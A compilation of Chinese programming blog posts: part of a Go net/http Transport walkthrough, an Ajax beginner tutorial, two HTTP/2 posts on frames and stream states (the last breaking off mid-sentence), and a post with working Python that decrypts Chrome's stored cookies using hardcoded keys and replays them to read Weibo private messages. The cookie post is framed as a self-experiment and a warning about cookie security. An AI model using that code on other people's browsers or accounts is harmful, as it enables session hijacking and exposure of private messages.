                if fn := testHookPersistConnClosedGotRes; fn != nil {
                    fn()
                }
            default:
                re = responseAndError{err: errClosed}
                if pc.isCanceled() {
                    re = responseAndError{err: errRequestCanceled}
                }
            }
            break WaitResponse
        case <-respHeaderTimer:
            pc.close()
            re = responseAndError{err: errTimeout}
            break WaitResponse
            // 如果timeout，这里的channel有数据， break掉for循环
        case re = <-resc:
            break WaitResponse
           // 获取到读循环的response, break掉 for循环
        case <-cancelChan:
            pc.t.CancelRequest(req.Request)
            cancelChan = nil
        }
    }

    if re.err != nil {
        pc.t.setReqCanceler(req.Request, nil)
    }
    return re.res, re.err
}

这段代码主要就干了三件事


	主goroutine ->requestAndChan ->  读循环goroutine


	主goroutine ->writeRequest->  写循环goroutine


	主goroutine 通过select 监听各个channel上的数据， 比如请求取消， timeout，长连接挂了，写流出错，读流出错， 都是其他goroutine 发送过来的， 跟中断一样，然后相应处理，上面也提到了，有些channel是主goroutine通过channel发送给其他goroutine的struct里面包含的channel, 比如 case err := <-writeErrCh:  case re = <-resc:




读循环代码：


func (pc *persistConn) readLoop() {
    
    ... 忽略
    alive := true
    for alive {
        
        ... 忽略
        rc := <-pc.reqch

        var resp *Response
        if err == nil {
            resp, err = ReadResponse(pc.br, rc.req)
            if err == nil && resp.StatusCode == 100 {
                //100  Continue  初始的请求已经接受，客户应当继续发送请求的其 
                // 余部分
                resp, err = ReadResponse(pc.br, rc.req)
                // 读pc.br（tcp输出流）中的数据，这里的代码在response里面
                //解析statusCode，头字段， 转成标准的内存中的response 类型
                //  http在tcp数据流里面，head和body以 /r/n/r/n分开， 各个头
                // 字段 以/r/n分开
            }
        }

        if resp != nil {
            resp.TLS = pc.tlsState
        }

        ...忽略
        //上面处理一些http协议的一些逻辑行为，
        rc.ch <- responseAndError{resp, err} //把读到的response返回给    
                                             //主goroutine

        .. 忽略
        //忽略部分， 处理cancel req中断， 发送idleConnCh归还pc（持久连接）到持久连接池中（map）    
    pc.close()
}


无关代码忽略，这段代码主要干了一件事情

读循环goroutine 通过channel requestAndChan 接受主goroutine发送的request(rc := <-pc.reqch), 并从tcp输出流中读取response， 然后反序列化到结构体中， 最后通过channel 返给主goroutine (rc.ch <- responseAndError{resp, err} )



func (pc *persistConn) writeLoop() {
    for {
        select {
        case wr := <-pc.writech:   //接受主goroutine的 request
            if pc.isBroken() {
                wr.ch <- errors.New("http: can't write HTTP request on broken connection")
                continue
            }
            err := wr.req.Request.write(pc.bw, pc.isProxy, wr.req.extra)   //写入tcp输入流
            if err == nil {
                err = pc.bw.Flush()
            }
            if err != nil {
                pc.markBroken()
                wr.req.Request.closeBody()
            }
            pc.writeErrCh <- err 
            wr.ch <- err         //  出错的时候返给主goroutineto 
        case <-pc.closech:
            return
        }
    }
}


写循环就更简单了，select channel中主gouroutine的request，然后写入tcp输入流，如果出错了，channel 通知调用者。

整体看下来，过程都很简单，但是代码中有很多值得我们学习的地方，比如高并发请求如何复用tcp连接，这里是连接池的做法，如果使用多个 goroutine相互协作完成一个http请求，出现错误的时候如何通知调用者中断错误，代码风格也有很多可以借鉴的地方。

我打算写一个系列，全面剖析go标准库里面的精彩之处，分享给大家。
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Ajax入门（一）从0开始到一次成功的GET请求



搬运自个人博客
传统表单在提交后整个页面都刷新



什么是服务器

网页浏览过程分析

一个完整的HTTP请求过程,通常有下面7个步骤


	建立TCP连接


	Web浏览器想Web服务器发送请求命令


	Web浏览器发送请求头信息


	Web服务器- 应答


	Web服务器- 发送应答头信息


	Web服务器- 向浏览器发送数据


	Web服务器- 关闭TCP连接




如何配置自己的服务器程序(AMP)

Ajax必须在服务器环境下才能正常使用




	我使用的WampServer程序.(支持中文)官网连接.可能速度不行,不过科学上网,大家应该都会.


	网上的使用教程:如何安装使用


	XAMPP--我试了一下,还是wamp简单,大家有兴趣就自己去测试了




Ajax原理

什么是Ajax?



	
无刷新数据读取


	用户注册/在线聊天室


	理解同步和异步(基本都用异步请求).




同步: 客户端发起请求--等待-->服务器端处理---等待-->响应-->页面载入 (请求错误时全部重新载入).
异步: 客户端发起请求--->服务器端处理--->响应--->页面载入(填写时,即时更新,部分返回).







HTTP请求

	
一个HTTP请求一般由四部分组成


	HTTP请求的方法或动作如是GET还是POST请求


	正在请求的URL,总得知道请求的地址是什么吧?


	请求头,包含一些客户端环境信息,身份验证信息等


	请求体,也就是请求正文,请求正文中可以包含客户端提交的查询字符串信息,表单信息等等.









HTTP响应

	
一个HTTP响应一般由三部分组成:


	一个数字和文字组成的状态码,用来显示请求是成功还是失败


	响应头,响应头和请求头一样包含许多有用的信息,例如服务器类型,日期时间,内容类型和长度等.


	响应体,也就是响应正文.









HTTP请求方式



	GET
	POST





	用于信息获取/查询(如:浏览帖子)
	用于修改服务器上的资源(如:用户注册)



	安全性低(使用url传递参数所有人可见)
	安全性一般(至少不可见)



	容量低(2000个字符)
	容量几乎无限





常见的HTTP状态码



	状态码
	描述
	原因短语





	200
	请求成功.一般用于GET和POST方法
	OK



	301
	资源移动.所请求资源移动到新的URL,浏览器自动跳转到新的URL
	Moved Permanently



	304
	未修改.所请求资源未修改读取缓存数据
	Not Modified



	400
	请求语法错误,服务器无法理解
	Bad Request



	404
	未找到资源,可以设置个性"404页面"
	Not Found



	500
	服务器内部错误
	internal Server Error





编写Ajax

类比打电话理解Ajax编写步骤



	打电话
	ajax请求





	1.打电话
	1.创建Ajax对象



	2.拨号
	2.连接服务器



	3.建立连接
	3.发送请求



	4.听
	4.接受返回





1.创建Ajax对象


	IE6:ActiveXObject("Microsoft.XMLHTTP");//IE6已死,可以不考虑了


	XMLHttpRequest();




例:var request = new XMLHttpRequest();

2.连接服务器


	open(method,url,async);


	open(发送请求方法"GET/POST" ,(请求地址"文件名") ,是否异步传输)




例: request.open("GET","get.json",true);

3.发送请求

	
send(string)


	在使用GET方式请求时无需填写参数


	在使用POST方式时参数代表着向服务器发送的数据








//完整的GET请求
var oAjax = new XMLHttpRequest();//创建Ajax对象
oAjax.open("GET","create.php",true);//连接服务器
oAjax.send();//发送请求

//完整的POST发送请求
var oAjax = new XMLHttpRequest();//创建
oAjax.open("POST","create.php",true);//"POST"
oAjax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");//设置HTTP头信息.必须在open与send之间,否则出现异常.
oAjax.send("name=陈二狗&sex=男");//发送给服务器的内容

4.接收返回-请求状态监控

	XMLHttpRequset取得响应






	属性
	值





	responseText
	获得字符串形式的响应数据



	responseXML
	获得XML形式的响应数据



	
status和statusText

	以数字和文本方式返回HTTP状态码



	getAllResponseHeader()
	获取所有的响应报头



	getResponseheader()
	查询响应中的某个字段的值





	onreadystatechange事件




通过监听onreadystatechange事件,来判断请求的状态.



	readyState属性:响应返回所处状态






	状态码
	状态
	所处位置





	0
	(未初始化)
	还没有调用open()方法



	1
	(载入)
	已调用send()方法,正在发送请求



	2
	(载入完成)
	
send()方法完成,已经收到全部响应 内容



	3
	(解析)
	正在解析响应内容



	4
	(完成)
	响应内容解析完成,可以在客户端调用了






例:

//基本完整的一个Ajax请求
var request = new XMLHttpRequest();
request.open("GET","get.json",true);
request.onreadystatechange = function () {
    if (request.readyState === 4) {
        if (request.status === 200) {
            //响应成功,做一些事情
        } else {
           //响应失败,做一些事情
        }
    }
};

使用函数简单的封装一个get请求

/**
 * 一个简单的异步get请求
 * @param {String}   url     请求地址,文件名
 * @param {Function} fnSucc  请求成功时执行的函数,形参为为获取的字符串值.
 * @param {Function} fnFaild 请求失败执行的函数,可选参数
 */
function get(url, fnSucc, fnFaild) {
    //1.创建ajax对象
    var oAjax = null
        //此处必须需要使用window.的方式,表示为window对象的一个属性.不存在是值为undefined,进入else/若直接使用XMLHttpRequest在不支持的情况下会报错
    if (window.XMLHttpRequest) {
        oAjax = new XMLHttpRequest();
    } else {
        //IE6以上,现在应该不需要考虑IE6了
        oAjax = new ActiveXObject("Microsoft.XMLHTTP");
    }
    //2.连接服务器
    //open(方法,url,是否异步)
    oAjax.open("GET", url, true);
    //3.发送请求
    oAjax.send();
    //4.接收返回
    //OnRedayStateChange事件
    oAjax.onreadystatechange = function () {
        if (oAjax.readyState === 4) {
            if (oAjax.status === 200) {
                fnSucc(oAjax.responseText);
            } else {
                if (fnFaild) {
                    fnFaild();
                }
            }
        }
    };
}

使用Ajax

基础:请求并显示静态TXT文件


	字符集编码:不一致时会出现乱码


	缓存,阻止缓存,(使用时间对象添加)




动态数据:请求JS(或JSON)文件

注：并不推荐使用eval，并不推荐使用eval，并不推荐使用eval。 因为eval解析数据时会有一系列问题出现。这里是因为只是学习就随意点了。
在需要解析请求数据时，推荐使用JSON的方法JSON.parse()可以将一个 JSON 字符串解析成为一个 JavaScript 值。参考MDN-JSON



	eval的使用
 例:




var str = "54-8*6+4";
alert(eval(str)); //10;

var str1 = "[1,2,3]";   
var arr = eval(str1);
alert(arr[1]);//2

var str3 = "function show(){alert('abc');}";
eval(str3);
show() //abc

一次成功的get请求

//已经引入get函数
//数据文件放在同级目录下就行了。

get("json.js", function (str) {
    var arr = eval(str);
    alert(arr[0].a);
}, function () {
    alert("服务器请求失败!");
});
//json.js存放的文件如下
/*
    [{
        a: 12,
        b: 5
    }, {
        a: 2,
        b: 56
    }]
*/
//服务器响应成功时,将返回12.


	
DOM创建元素


	局部刷新:请求并显示部分网页文件,使用for循环.


	这里是属于DOM操作的范围，在这里就不过多讲述了。









 利用cookie劫持微博私信

作者：蛋爷微醺

来源： 利用cookie劫持微博私信



                    
记得还是在学Qt编程的时候，做过一个练手项目，产品是一个搜索Chrome的cookie内容的小软件。Chrome的cookie保存在用户目录的一个sqlite文件中，具体路径上网搜一下就知道了。当时比较天真，想看看cookie里面有没有明文保存的密码，结果当然是得到一堆乱码，最后就不了了之了。


直到前几天，我正在网上看一篇关于cookie的文章，忽然想起一件事情，我需要密码的原因无非是用来登录，我既然有了cookie直接发给服务器就可以了，又有什么必要了解cookie的内容？我顺手用chrome打开了微博私信查看下它的请求流程：



貌似理论上没有什么问题，不过还是要做个试验验证一下，我准备尝试用python写个小程序模拟浏览器向微博服务器发起私信消息的页面请求。


当然首先还是让我的小伙伴给我发条私信：



具体实现


整个实验我简单的作了个概念图：



实验主要分为以下几个步骤：

 * 从chrome的sqlite文件中提取cookie

 * 模拟浏览器组装header

 * 向服务器发起目标页面的请求


提取chrome的cookie信息


chrome的cookie保存路径在三大操作系统Windows、Linux和OSX上都不尽相同，以linux为例，它的保存路径就是～/.config/chromium/Default/Cookies，我们先用sqlite3程序把这个文件载入进来看看：



cookie信息都保存在表cookies中，但是才刚开始就出现了意想不到的问题：





表里面的值和记忆中的大部分都是一样的，唯独最重要的value一项，居然是空的，而在末尾倒是多了个encrypted_value項。谷歌了一下，了解到在chrome版本33之前，cookie都是直接存储的，在33+之后，谷歌开始对cookie的信息进行了加密。顺便感慨下时光飞逝，不知不觉又老了几个版本。chrome在windows上加密采用的是CryptUnprotectData函数，解密方法大家可以看这里。Linux和OSX上的加密方法相似，都采用的是AES(CBC)加密方法，了解密码学的都知道对这个数据进行解密至少需要好几个值，salt，key length，iv，password，iterations等等。不过不幸的是一位国外的网友n8henrie在浏览了chromium源码之后把这些值统统找到了，以下是他原话：



	salt is b'saltysalt'


	key length is 16


	
iv is 16 bytes of space b' ' * 16


	on Mac OSX:
password is in keychain under Chrome Safe Storage

I use the excellent keyring package to get the password

You could also use bash: security find-generic-password -w -s "Chrome Safe Storage"

number of iterations is 1003


	on Linux:

password is peanuts

number of iterations is 1




顺便贴出他给出的源代码(可能是原作者的失误，在clean函数中忘记调用了ord函数，特此补上)：


#! /usr/bin/env python3

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

# Function to get rid of padding
def clean(x): 
    return x[:-ord(x[-1])].decode('utf8')

# replace with your encrypted_value from sqlite3
encrypted_value = ENCRYPTED_VALUE 

# Trim off the 'v10' that Chrome/ium prepends
encrypted_value = encrypted_value[3:]

# Default values used by both Chrome and Chromium in OSX and Linux
salt = b'saltysalt'
iv = b' ' * 16
length = 16

# On Mac, replace MY_PASS with your password from Keychain
# On Linux, replace MY_PASS with 'peanuts'
my_pass = MY_PASS
my_pass = my_pass.encode('utf8')

# 1003 on Mac, 1 on Linux
iterations = 1003

key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))



我稍微改了下源代码，对上图header里的cookie的第一項尝试进行解密：


from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

def clean(x): 
    return x[:-ord(x[-1])].decode('utf8')

def decrypt(encrypted_value):
    encrypted_value = encrypted_value[3:]

    salt = b'saltysalt'
    iv = b' ' * 16
    length = 16

    my_pass = 'peanuts'
    my_pass = my_pass.encode('utf8')

    iterations = 1

    key = PBKDF2(my_pass, salt, length, iterations)
    cipher = AES.new(key, AES.MODE_CBC, IV=iv)
    decrypted = cipher.decrypt(encrypted_value)

    return clean(decrypted)

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')
cu = cx.cursor()

cu.execute("select * from cookies where host_key = '.weibo.com' and name = 'SINAGLOBAL'")

res = cu.fetchone()

print decrypt(res[len(res)-1])



结果显示n8henrie给出的值确实是正确的，解密成功。








这个值我们不知道有什么意义，因为本来就不需要，直接把它发给服务器就好，服务器自己知道怎么解密的。


cookie值解密出来之后，感觉就像是突然变成了宿管阿姨，手里握着整栋宿舍的钥匙。


组装header


组装header这里比较容易了，基本上照着上面截下来的Chrome的header照抄就好了，不过要注意的是记得把Accept-Encoding:gzip，deflate，sdch这一项去掉，不然返回的数据是经过压缩的，最后再加上解密出来的cookie，一个完整的header就出来了。


import sqlite3
import urllib2
import os

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')
cu = cx.cursor()
cu.execute("select * from cookies where host_key = '.weibo.com'")

cookies = ''

for res in cu.fetchall(): 
    cookies += res[2] + '=' + decrypt(res[len(res)-1]) + '; '

url = 'http://weibo.com/messages'

header = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        #'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4,zh-TW;q=0.2',
        'Cache-Control': 'max-age=0',
        'Connection': 'keep-alive',
        'Host': 'weibo.com',
        'Cookie': cookies,
        'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/40.0.2214.111 Chrome/40.0.2214.111 Safari/537.36'
}
request = urllib2.Request(url, headers=header)



发送请求


最后一步发送请求，把返回的数据打开看一下，私信消息已经在里面了。



结语


没想到整个过程还算是比较顺利的，而且还是在linux平台。随后我又在windows和OSX上进行了试验，windows的解密要更简单一点，而在OSX上获取Chrome Safe Storage的password的时候系统提醒需要获取授权，也就是说从目前来看只有苹果系挡住了这次攻击。不得不说cookie确实给我们带来了太多的便利，但是与此同时也牺牲了太多的安全性，网络发展到今天很多事情已经超出可控的范围，尤其是在中国这种软件氛围，谁知道各大软件产商有什么做不出来的，想要保护好自己，只能靠自己平时多长点心眼了。


Q&A



	Q：为什么我直接用你的代码返回404？

	A：你要先用chrome至少浏览一次私信，不然哪来的cookie。






	Q：为什么选择微博私信做实验？

	A：因为我知道你们用的是微信而不是私信。






	Q：你是在本机运行的，劫持自己的信息可以，怎么劫持别人的信息？

	A：一般人不行，但是软件产商可以。






	Q：为什么每个用户只有一条私信？不可以看到所有的对话嘛？

	A：可以，但这里只是做为实验，不可有小人之心，但不能不防小人






	Q：有了cookie除了看私信还能干什么？

	A：不知道。



最后感谢下caixpp童鞋发了封私信，还有，用完数据库记得close。


References



	http://stackoverflow.com/questions/23153159/decrypting-chrome-iums-cookies/23727331#23727331

	http://n8henrie.com/2014/05/decrypt-chrome-cookies-with-python/

	http://www.ftium4.com/chrome-cookies-encrypted-value-python.html



转载请注明


原文地址： http://mafagan.sinaapp.com/2015/02/27/cookie-hack/


 HTTP/2 frame format

作者：1000copy

来源： HTTP/2 frame format



                    
以往的HTTP，我们习惯了和head /body 打交道。而在HTTP2，取而代之的是幀（Frame）。它将会成为协议中的最小通讯单位——所有的数据，head，body都会打包到Frame内发送。Frame 有很多类型，比如 header frame, data frame （以后...，不本文就会继续讲到）。


通过Frame 好处多多（还有后面要提到的流），一起可以完成多播和次序交错的通讯——很大的新特性。


开门见山，看看幀格式(头 9 字节是幀头部，后面的都是有效载荷)：


 +-----------------------------------------------+
 |                 Length (24)                   |
 +---------------+---------------+---------------+
 |   Type (8)    |   Flags (8)   |
 +-+-------------+---------------+-------------------------------+
 |R|                 Stream Identifier (31)                      |
 +=+=============================================================+
 |                   Frame Payload (0...)                      ...
 +---------------------------------------------------------------+



Frame 构成定义：


 - **Length** :帧主体长度。24 bits unsigned int
 - **Type** ： 类型(8 bits)。
 - **Flags** ： 特定的Type，有一组特定的flag，以便对type做更多约定
 - **R** : 保留(1bit)。语义未设置并且必须在发送的时候设置为 0 
 - **Stream Identifier** : 流标识符(31 bytes）。



每次看到报文格式定义中‘保留’字样我就乐不可支。我太喜欢标准定义者的作派了。


因为，‘保留’就是，可以不看不了解它。所以这样看起来，其实Frame Head就3条有意义的字段，分别指明： Frame的类型、Frame的内容长度、Frame 所属的流。世界清净了。至于‘长度’，当然重要，可是不写程序码之前，也可以不看。


细化类型Type


差不多就是照抄下规范了 ：）


Frame Type      Code    
DATA            0x0 
HEADERS         0x1 
PRIORITY        0x2 
RST_STREAM      0x3 
SETTINGS        0x4 
PUSH_PROMISE    0x5 
PING            0x6 
GOAWAY          0x7 
WINDOW_UPDATE   0x8 
CONTINUATION    0x9 



细化length


Length是指有效载荷（Payload）的长度。不包括Frame Header的长度（是啊，没有必要嘛）。比如我们要发送一个16进制的‘12345678’ 给对方，Length 就是 4 ，不是 8+ 4 = 12 。


细化Stream


为什么说需要标示流呢？ 因为HTTP2场景下，TCP Connection不再只有一对请求+响应了——可以有多个响应。这些响应打包到多个Frame，在一个 Connection 上混合交错的发。接收方必须知道每个Frame属于那个Response，这就是流所标示的了。


有点不清不楚，不过，我会上代码的。语言停止之处，代码发生。


案例


我们要发送 0x12345678，流编号为 10 ，类型为DATA，那么这个Frame的16进制表达就是：


'000004' + '00' + '00' + '0000000A' +   '12345678'



Testcase


如下为go语言的代码testcase，对一个数据Frame做编码和解码，双向验证一个 frame的生成过程。代码来自:


func TestWriteData(t *testing.T) {
    fr, buf := testFramer()
    var streamID uint32 = 1<<24 + 2<<16 + 3<<8 + 4
    data := []byte("ABC")
    fr.WriteData(streamID, true, data)
    const wantEnc = "\x00\x00\x03\x00\x01\x01\x02\x03\x04ABC"
    if buf.String() != wantEnc {
        t.Errorf("encoded as %q; want %q", buf.Bytes(), wantEnc)
    }
    f, err := fr.ReadFrame()
    if err != nil {
        t.Fatal(err)
    }
    df, ok := f.(*DataFrame)
    if !ok {
        t.Fatalf("got %T; want *DataFrame", f)
    }
    if !bytes.Equal(df.Data(), data) {
        t.Errorf("got %q; want %q", df.Data(), data)
    }
    if f.Header().Flags&1 == 0 {
        t.Errorf("didn't see END_STREAM flag")
    }
}



细化Flag


上面提到了特定的Type，有不同的Flag，到底有什么？（TODO: 看了代码来补充细节：）




图来自于：http://search.cpan.org/~crux/Protocol-HTTP2-0.14/lib/Protocol/HTTP2/Frame.pm


Ref：



	一个github的repo，内有丰富的Frame种类和编码后的字节结果

	go 写的http2库，作者说以后会变成标准库。所以，特别值得看，比1还容易懂



疑问（已解决,文字已经更改）


标准提到的Frame Header是 8字节。但是 4 代码中，header长度为 9 ；node-http2 内的lib/framer.js 内func commonHeader也是长度9的header。看起来和标准是矛盾的？我哪里没有弄明白呢。


 http2 - stream  

作者：1000copy

来源： http2 - stream  



                    
流是一个独立的，客户端和服务端在HTTP/2连接下交换帧的双向序列集。


http2在端点之间建立连接后，以Frame为基本单位交换数据。Stream为一组共享同一StreamID的Frame集合。


Connection,Stream,Frame 构成了这样的关系：Connection 和 Stream 是一对多的关系，Stream 和Frame也是一对多的关系。


这样，就可以允许来自多个Stream 的多个Frame 交错发送，在一个Connection上执行多播通信 （multiplexed communication）


并且，客户端也可以在一个TCP Connection 上发送多个请求。在同一个Connection上的请求现在可以不按次序给出响应——服务端可以根据QoS（服务质量）规则来决定响应内容的次序。


流标识 （StreamID)


Stream 由31位字节的无符号整数标识。


客户端发起的StreamID必须是奇数；服务器发起的StreamID必须是偶数。


0(0x0)标识连接控制消息。


1(0x1)标识也有使用限定。发起升级请求的客户端（从HTTP/1.1升级到HTTP/2）将收到一个StreamID 等于 1(0x1)的流的响应。升级完成后，0x1流将对客户端处于“半封闭(本地)”状态。因此，升级而来的客户端不能使用0x1作为一个新流的标识符。


一个新建立的StreamID必须数值大于任何终端已经打开或者保留的StreamID。规则适用于使用HEADER Frame 打开的流以及使用推送承诺帧保留的流。终端收到不规范的流标识符必须响应协议错误(PROTOCOL_ERROR)。


新的StreamID第一次使用时，将关闭所有比自己的ID小的、处于“空闲”状态下的Stream。例如，一个客户端发送一个流7的报头帧，那么在流7发送或者接收帧后从没有发送帧的流5将转换为“关闭”状态。


StreamID不能被重复使用。


如果连接的StreamID在可用范围被耗尽，那么客户端可以使用新连接，服务可以发送超时帧(GOAWAY)强制客户端对新流使用新连接。


Stream States 流状态


请注意该图仅展示了流状态的转换和帧对这些转换的影响。


                             +--------+
                     send PP |        | recv PP
                    ,--------|  idle  |--------.
                   /         |        |         \
                  v          +--------+          v
           +----------+          |           +----------+
           |          |          | send H /  |          |
    ,------| reserved |          | recv H    | reserved |------.
    |      | (local)  |          |           | (remote) |      |
    |      +----------+          v           +----------+      |
    |          |             +--------+             |          |
    |          |     recv ES |        | send ES     |          |
    |   send H |     ,-------|  open  |-------.     | recv H   |
    |          |    /        |        |        \    |          |
    |          v   v         +--------+         v   v          |
    |      +----------+          |           +----------+      |
    |      |   half   |          |           |   half   |      |
    |      |  closed  |          | send R /  |  closed  |      |
    |      | (remote) |          | recv R    | (local)  |      |
    |      +----------+          |           +----------+      |
    |           |                |                 |           |
    |           | send ES /      |       recv ES / |           |
    |           | send R /       v        send R / |           |
    |           | recv R     +--------+   recv R   |           |
    | send R /  `----------->|        |<-----------'  send R / |
    | recv R                 | closed |               recv R   |
    `----------------------->|        |<----------------------'
                             +--------+

       send:   endpoint sends this frame
       recv:   endpoint receives this frame

       H:  HEADERS frame (with implied CONTINUATIONs)
       PP: PUSH_PROMISE frame (with implied CONTINUATIONs)
       ES: END_STREAM flag
       R:  RST_STREAM frame




HEADERS frame (with implied CONTINUATIONs)稍有些费解。意思是说，如果HEADERS帧的END_STREAM 已经设置，就可以直接导致状态变迁；否则就意味着要收齐后面的CONTINUATION，保证HEADER内容的完整之后再做状态迁移。


流有以下状态：


idle :


所有流以“空闲”状态开始。在这种状态下，没有任何帧的交换。


下列传输在这种状态下是有效的：



	发送或者接收一个报头帧(HEADERS)导致流变成“打开”。这个报头帧(带有END_STREAM标志)同样可能导致流立即变成“半关闭”状态。

	发送一个推送承诺帧(PUSH_PROMISE)标记相关的流后续再使用。此相关的流状态将转换为“reserverd(local)”。

	接收一个推送承诺帧(PUSH_PROMISE)标记相关的流为远程端点预留的流。此相关的流状态将转换为“reserved (remote)”



reserved (local)


在此状态的流，是已经被承诺发送PUSH_PROMISE的流。一个 PUSH_PROMISE 帧通过使一个流与一个由远端对等端初始化的打开的流相关联来保留一个空闲流。


在这种状态下，只有下列传输是可能的：



	端点可以发送报头帧（HEADERS），致使流打开到“half close(remote)”状态。

	任意端点能发送一个RST_STREAM帧来使流变成“关闭”。这将释放流的保留。



在这种状态下,优先级帧(PRIORITY),WINDOW_UPDATE可以被接收。除此之外的帧，都将被认为是协议错误（PROTOCOL_ERROR）


reserved (remote)


在“保留(远程)”状态下的流说明已经被远程对等端所保留。


在这种状态下，只有下列传输是可能的：



	接收一个报头HEADERS帧并致使流转换到“半封闭(本地)”状态。

	任意一个端点能发送一个RST_STREAM 帧来使流变成“关闭”。这将释放流的保留。

	可以发送一个优先级PRIORITY帧来变更保留流的优先级顺序。



除此之外的帧，都将被认为是协议错误（PROTOCOL_ERROR）



open : 打开


处于“打开”状态的流，可以收发任何类型的帧。


在这种状态下,每个终端可以发送一个带有END_STREAM结束流标记的帧,来使流转换到其中一种“半关闭”状态：发送端发出此帧使流变成“half close(local)”状态；接收端收到此帧，使流变成“half close(remote)”状态。


这种状态下各个终端可以发送一个RST_STREAM帧来使流转换到"关闭"状态。


half closed (local) :


“半封闭(本地)”状态下的,有窗口更新(WINDOW_UPDATE)、优先级(PRIORITY)和终止流(RST_STREAM)帧能发送。


这种状态下，当流接收到包含END_STREAM标记的帧或者某个终端发送了RST_STREAM帧，流转换到“关闭”状态。


优先级(PRIORITY)帧可以接收,并用来对依赖当前流的流进行优先级重排序。


half closed (remote) : 半关闭（远程）


"半封闭(远程)"状态下的流不再被对等端用来发送帧。


如果终端接收到处于这种状态下的流发送的额外的帧，除非是延续CONTINUATION帧，否则必须返回类型为流关闭STREAM_CLOSED的流错误


这种状态下，当流发送一个带有终止流END_STREAM标记的帧或者某个终端发送了一个RST_STREAM帧，流将转换到“关闭”状态。


closed : 关闭


“关闭”状态是终止状态。


终端绝对不能通过关闭的流发送帧。终端在收到RST_STREAM后接收的任何帧必须作为流关闭STREAM_CLOSED错误处理。


相似的，终端接收到带有END_STREAM标记设置的数据DATA帧之后的任何帧，必须作为流关闭STREAM_CLOSED错误处理。


关闭的流上可以发送优先级帧用来对依赖当前关闭流的流进行优先级重排序。终端应该处理优先级帧。但当该流已经从依赖树中移除时可以忽略。


如果流在发送RST_STREAM帧后转换到这种状态，终端必须忽略从已经发送RST_STREAM帧的流接收到的帧。终端可以选择设置忽略帧的超时时间并在超过限制后作为错误处理。


在发送RST_STREAM之后收到的流量受限帧(如数据DATA帧)转向流量控制窗口连接处理。尽管这些帧可以被忽略，但发送端会认为这些帧与流量控制窗口不符。


终端可能在发送RST_STREAM之后接收PUSH_PROMISE帧。即便相关的流已经被重置，推送承诺帧也能使流变成“保留”状态。因此，需要RST_STREAM来关闭一个不想要的被承诺流。


发现协议中未明确之处，都应作为议错误来处理。


状态转换实现(node-http )


尽管状态迁移的协议文字说明极尽冗长，所幸代码实现其实并不复杂。可以对照阅读


Stream.prototype._transition = function transition(sending, frame) {
  var receiving = !sending;
  var connectionError;
  var streamError;

  var DATA = false, HEADERS = false, PRIORITY = false, ALTSVC = false, BLOCKED = false;
  var RST_STREAM = false, PUSH_PROMISE = false, WINDOW_UPDATE = false;
  switch(frame.type) {
    case 'DATA'         : DATA          = true; break;
    case 'HEADERS'      : HEADERS       = true; break;
    case 'PRIORITY'     : PRIORITY      = true; break;
    case 'RST_STREAM'   : RST_STREAM    = true; break;
    case 'PUSH_PROMISE' : PUSH_PROMISE  = true; break;
    case 'WINDOW_UPDATE': WINDOW_UPDATE = true; break;
    case 'ALTSVC'       : ALTSVC        = true; break;
    case 'BLOCKED'      : BLOCKED       = true; break;
  }

  var previousState = this.state;

  switch (this.state) {
    case 'IDLE':
      if (HEADERS) {
        this._setState('OPEN');
        if (frame.flags.END_STREAM) {
          this._setState(sending ? 'HALF_CLOSED_LOCAL' : 'HALF_CLOSED_REMOTE');
        }
        this._initiated = sending;
      } else if (sending && RST_STREAM) {
        this._setState('CLOSED');
      } else if (PRIORITY) {
        /* No state change */
      } else {
        connectionError = 'PROTOCOL_ERROR';
      }
      break;
      case 'RESERVED_LOCAL':
      if (sending && HEADERS) {
        this._setState('HALF_CLOSED_REMOTE');
      } else if (RST_STREAM) {
        this._setState('CLOSED');
      } else if (PRIORITY) {
        /* No state change */
      } else {
        connectionError = 'PROTOCOL_ERROR';
      }
      break;

    case 'RESERVED_REMOTE':
      if (RST_STREAM) {
        this._setState('CLOSED');
      } else if (receiving && HEADERS) {
        this._setState('HALF_CLOSED_LOCAL');
      } else if (BLOCKED || PRIORITY) {
        /* No state change */
      } else {
        connectionError = 'PROTOCOL_ERROR';
      }
      break;

    case 'OPEN':
      if (frame.flags.END_STREAM) {
        this._setState(sending ? 'HALF_CLOSED_LOCAL' : 'HALF_CLOSED_REMOTE');
      } else if (RST_STREAM) {
        this._setState('CLOSED');
      } else {
        /* No state change */
      }
      break;

    case 'HALF_CLOSED_LOCAL':
      if (RST_STREAM || (receiving && frame.flags.END_STREAM)) {
        this._setState('CLOSED');
      } else if (BLOCKED || ALTSVC || receiving || PRIORITY || (sending && WINDOW_UPDATE)) {
        /* No state change */
      } else {
        connectionError = 'PROTOCOL_ERROR';
      }
      break;


    case 'HALF_CLOSED_REMOTE':
      if (RST_STREAM || (sending && frame.flags.END_STREAM)) {
        this._setState('CLOSED');
      } else if (BLOCKED || ALTSVC || sending || PRIORITY || (receiving && WINDOW_UPDATE)) {
        /* No state change */
      } else {
        connectionError = 'PROTOCOL_ERROR';
      }
      break;


    case 'CLOSED':
      if (PRIORITY || (sending && RST_STREAM) ||
          (receiving && this._closedByUs &&
           (this._closedWithRst || WINDOW_UPDATE || RST_STREAM || ALTSVC))) {
        /* No state change */
      } else {
        streamError = 'STREAM_CLOSED';
      }
      break;
  }

  // 特别留意连接被对等端关闭的情况。
  if ((this.state === 'CLOSED') && (previousState !== 'CLOSED')) {
    this._closedByUs = sending;
    this._closedWithRst = RST_STREAM;
  }

  // 收发推送承诺帧
  if (PUSH_PROMISE && !connectionError && !streamError) {
    assert(frame.promised_stream.state === 'IDLE', frame.promised_stream.state);
    frame.promised_stream._setState(sending ? 'RESERVED_LOCAL' : 'RESERVED_REMOTE');
    frame.promised_stream._initiated = sending;
  }

  // ...
};



错误处理


HTTP/2框架允许两类错误：



